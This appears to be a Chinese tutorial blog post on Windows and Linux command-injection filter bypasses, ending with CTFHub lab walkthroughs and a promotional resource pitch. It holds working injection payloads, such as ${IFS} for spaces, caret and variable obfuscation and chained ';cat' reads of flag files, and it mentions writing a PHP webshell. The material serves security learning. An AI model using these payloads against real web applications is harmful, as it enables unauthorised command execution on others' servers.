2026/4/18 15:51:46
网站建设
项目流程
360网站咋做,网站统一建设统一管理,网站服务器的工作原理,友链网站降权前言
本文将讲解windows/linux的常见命令以及命令执行漏洞的绕过方式#xff0c;靶场环境为ctfhub#xff0c;分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤#xff0c;这几种绕过方式
Windows
我们在windows命令行中执行命令的时候#xff0c;是不区…前言本文将讲解windows/linux的常见命令以及命令执行漏洞的绕过方式靶场环境为ctfhub分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤这几种绕过方式Windows我们在windows命令行中执行命令的时候是不区分大小写的C:\WHOAMI yv\administrator在命令行中可以有无数个C:\whoami yv\administrator C:\whoami yv\administrator不能有两个连续的^C:\whoa^mi yv\administrator C:\whoam^^iwhoam^i不是内部或外部命令也不是可运行的程序 或批处理文件。 C:\who^a^m^i yv\administrator在命令中如果在^之前此时的数量必须为偶数C:\whoa^mi yv\administrator C:\whoa^mi whoa^mi 不是内部或外部命令也不是可运行的程序 或批处理文件。在命令中在^之后且带有参数则”也需要带有偶数C:\n^et user netuser 不是内部或外部命令也不是可运行的程序 或批处理文件。 C:\n^etuser\\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。也可以使用()对命令进行包裹C:\(whoami)yv\administrator C:\(n^etuser)\\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。()的数量不设上限C:\(((whoami))) yv\administrator使用变量简单拼接%%局部分开每个变量C:\setcmd1who C:\setcmd2am C:\setcmd3i C:\%cmd1%%cmd2%%cmd3% yv\administrator变量拼接方式二C:\setcmd1who C:\setcmd3i C:\%cmd1%am%cmd3% yv\administrator变量拼接方式三C:\setcmd1who C:\setcmd3i C:\%cmd1%am%cmd3% yv\administrator变量拼接方式四^C:\setcmd1who # 这里需要偶数因为在变量拼接结果中有 ^ C:\set cmd3i # 后面正常多少个 都行 C:\%cmd1%a^m%cmd3% yv\administrator含有参数的命令net userC:\setcmd1ser C:\setcmd2t u C:\setcmd3n^e C:\%cmd3%%cmd2%%cmd1%\\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。一次性执行多条命令C:\cmd /Cset cmd1ssersetcmd2t usetcmd3n^e%cmd3%%cmd2%%cmd1%\\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。Windows环境变量切分先设置一个变量C:\setcmdwhoami C:\%cmd% yv\administrator这个0,1表示的数组切片代表前后切片的索引C:\setcmdwhoami C:\echo %cmd:~0,1% w C:\echo %cmd:~0,4% whoa也可以为负数负数表示从右边开始数第几个C:\setcmdwhoami C:\echo %cmd:~-4,4% oami C:\echo %cmd:~-6,4% whoa当然也能直接向外部写一个php一句话木马image-20240812113353901检查是否存在for循环执行命令C:\cmd /V:ON /Cset kpxawlh2im,xiaoyu for %G in (1,3,-3,0,6,5) do set lq!lq!!kpx:~%G,1! if %G5 !lq:~4!C:\setlq!lq!!kpx:~1,1!if15!lq:~4!C:\setlq!lq!!kpx:~3,1!if35!lq:~4!C:\setlq!lq!!kpx:~-3,1!if-35!lq:~4!C:\setlq!lq!!kpx:~0,1!if05!lq:~4!C:\setlq!lq!!kpx:~6,1!if65!lq:~4!C:\setlq!lq!!kpx:~5,1!if55!lq:~4!yv\administratorLinuxlinux中是区分大小写的┌──(root㉿251ebe86465a)-[/]└─# LSLS:commandnot found ┌──(root㉿251ebe86465a)-[/]└─# LsLs:commandnot found运算符;表示连续指令即使前面那条命令报错后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root用于后台执行命令这个可能看不出来┌──(root㉿251ebe86465a)-[/]└─# lswHoami[1]59archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr CommandWhoaminot found, did you mean:commandwhoamifrom deb coreutils Try:aptinstalldeb name[1] Donels--colorauto我们使用ping 127.0.0.1 whoami这条命令会将ping放在后台执行这个时候你没有设置ping的次数就会一直执行下去停止不了而whoami已经执行完毕了。┌──(root㉿kali)-[/usr/local]└─# ping 127.0.0.1 whoami[1]4508root PING127.0.0.1(127.0.0.1)56(84)bytes of data.64bytes from127.0.0.1:icmp_seq1ttl64time5.80ms ┌──(root㉿kali)-[/usr/local]└─# 64 bytes from 127.0.0.1: icmp_seq2 ttl64 time0.593 ms64bytes from127.0.0.1:icmp_seq3ttl64time0.049ms64bytes from127.0.0.1:icmp_seq4ttl64time0.044ms64bytes from127.0.0.1:icmp_seq5ttl64time0.058ms64bytes from127.0.0.1:icmp_seq6ttl64time0.045ms --------之后将会一直运行下去也停止不了。。。。连接两个指令的时候要保证命令两个命令都能正常执行否则一个错就执行不了了┌──(root㉿251ebe86465a)-[/]└─# lswhoamiarchive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/]└─# LSwhoamiLS:commandnot found|管道符用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。例如我获取这个/data路径的下的所有包含boo的文件┌──(root㉿251ebe86465a)-[/data] └─# ls | grep *boo* boot||逻辑运算符如果||左边的命令执行失败返回非零退出状态那么||右边的命令将会被执行。执行成功一个命令后后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/]└─# ip addr || wHoami || ls1: lo:LOOPBACK,UP,LOWER_UPmtu65536qdisc noqueue state UNKNOWN group default qlen1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet127.0.0.1/8 scopehostlo valid_lft forever preferred_lft forever inet6 ::1/128 scopehostvalid_lft forever preferred_lft forever5: eth0if6:BROADCAST,MULTICAST,UP,LOWER_UPmtu1500qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid0inet172.17.0.2/16 brd172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever转义字符\┌──(root㉿251ebe86465a)-[/] └─# who\ami root()$┌──(root㉿251ebe86465a)-[/] └─# whoami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (echo whoami) root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root命令引用┌──(root㉿kali)-[/data] └─# tl;js;$t$j #相当于执行了 ls 谷歌插件 GitHack mikulinux特有变量$1$*$$n这个n表示除0以外的任意数字都可以作为系统命令绕过的方式┌──(root㉿kali)-[/data] └─# who$2ami root ┌──(root㉿kali)-[/data] └─# who$4ami root ┌──(root㉿kali)-[/data] └─# who$*ami root ┌──(root㉿kali)-[/data] └─# who$ami root ┌──(root㉿kali)-[/data] └─# who$0ami who-zshami未找到命令linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi rootLinux中命令中的命令虽然会报错但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# 666666 666666未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666whoami6666 666666root6666未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 6666whoami6666 6666未找到命令 6666未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666whoami6666 6666root6666未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# wsfdawfewahosajfdkljasamsdjflk123i sfdawfewa未找到命令 sajfdkljas未找到命令 sdjflk123未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i rootlinux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60分割环境变量┌──(root㉿kali)-[/etc/docker] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:10} /usr/local ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:1} /靶场练习CTFHUB使用符号没有获取到想要的结果因为在前一个命令没有执行结束的时候是不会执行后面的命令的。当然还有种思路就是指定次数使用-c参数这里是没有效果的┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq1 ttl64 time0.489 ms 64 bytes from 127.0.0.1: icmp_seq2 ttl64 time0.106 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1004ms rtt min/avg/max/mdev 0.106/0.297/0.489/0.191 ms;绕过┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1;whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq1 ttl64 time0.558 ms 64 bytes from 127.0.0.1: icmp_seq2 ttl64 time0.047 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev 0.047/0.302/0.558/0.255 ms root使用也可以得到结果通过将ping命令放到后台执行后面的结果也会执行[1]/sys/devices/platform/serial8250/tty/ttyS2/flags payload127.0.0.1cat/sys/devices/platform/serial8250/tty/ttyS2/flags[2]/sys/devices/platform/serial8250/tty/ttyS0/flags payload127.0.0.1cat/sys/devices/platform/serial8250/tty/ttyS0/flags[3]/sys/devices/platform/serial8250/tty/ttyS3/flags payload127.0.0.1cat/sys/devices/platform/serial8250/tty/ttyS3/flags[4]/sys/devices/platform/serial8250/tty/ttyS1/flags payload127.0.0.1cat/sys/devices/platform/serial8250/tty/ttyS1/flags[5]/sys/devices/virtual/net/tunl0/flags payload127.0.0.1cat/sys/devices/virtual/net/tunl0/flags[6]/sys/devices/virtual/net/lo/flags payload127.0.0.1cat/sys/devices/virtual/net/lo/flags这些payload都给你们试过了没有flag不断执行命令找到这个web目录中有一个数字.php查看即可得知payload127.0.0.1 cat /var/www/html/17165225371506.php查看源码过滤cat题目过滤了cat命令之后你还有什么方法能读到 Flag?查看目录他换了个名字没有cat那么在linux中还有这样几个命令tac命令是cat命令的反向操作它会按行读取文件内容但会以相反的顺序输出。这意味着文件的最后一行将首先显示而第一行将最后显示。127.0.0.1 tac /var/www/html/flag_9902871730290.phpless命令与more命令类似也是用于分页显示文本文件的内容但less提供了更多的导航选项如向前翻页、向后翻页、搜索文本等。127.0.0.1 less 5 /var/www/html/flag_9902871730290.phphead命令用于显示文件的开头部分默认显示前10行但可以通过选项指定显示的行数。127.0.0.1 head 5 /var/www/html/flag_9902871730290.phptail命令用于显示文件的末尾部分默认显示最后10行与head命令相对应。它还可以用于实时跟踪文件的新增内容。127.0.0.1 tail 5 /var/www/html/flag_9902871730290.phpnl命令与cat -b命令相似用于显示文件内容并在每行前加上行号但nl提供了更多的格式化选项。127.0.0.1 nl /var/www/html/flag_9902871730290.phpawk是一个强大的文本处理工具虽然它主要用于模式扫描和处理语言但在某些情况下可以使用awk命令以类似于cat的方式显示文件内容同时添加额外的文本处理功能。127.0.0.1 awk {print} /var/www/html/flag_9902871730290.phpmore命令用于分页显示文本文件的内容用户可以通过按空格键翻页按b键回退按q键退出。虽然它主要用于分页查看但在逐页查看文件内容时与cat命令直接显示整个文件内容的方式形成对比。127.0.0.1 more /var/www/html/flag_9902871730290.php过滤空格分析源码使用preg_match_all函数检查变量$ip中是否包含空格。空格的绕过方式一般有(针对于本题来讲)1、${IFS}代替空格127.0.0.1ls${IFS}/var/www/html/2、%09相当于tab键127.0.0.1ls%09/var/www/html/3、大括号{}127.0.0.1{ls,/var/www/html/}4、重定向字符举例┌──(root㉿kali)-[/data] └─# ping -c 1 127.0.0.1;ls-l PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq1 ttl64 time0.701 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev 0.701/0.701/0.701/0.000 ms 谷歌插件 GitHack -l mikupayload127.0.0.1ls/var/www/html/经过测试上面四种仅有${IFS}成功完整payload127.0.0.1cat${IFS}/var/www/html/flag_172742853821990.php过滤目录分隔符题目这次过滤了目录分割符 / 你能读到 flag 目录下的 flag 文件吗直接使用ls查看目录没有东西试试%2F127.0.0.1 ls %2Fvar%2Fwww%2Fhtml那我们直接ls使用cd和;进行多行命令执行即可一级目录一级目录的cd即可127.0.0.1;cd flag_is_here;cat flag_31328570616525.php过滤运算符题目过滤了几个运算符, 要怎么绕过呢分析源码过滤了运算符但是也没完全过滤少了个;;即可127.0.0.1;cat flag_5393398119154.php网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取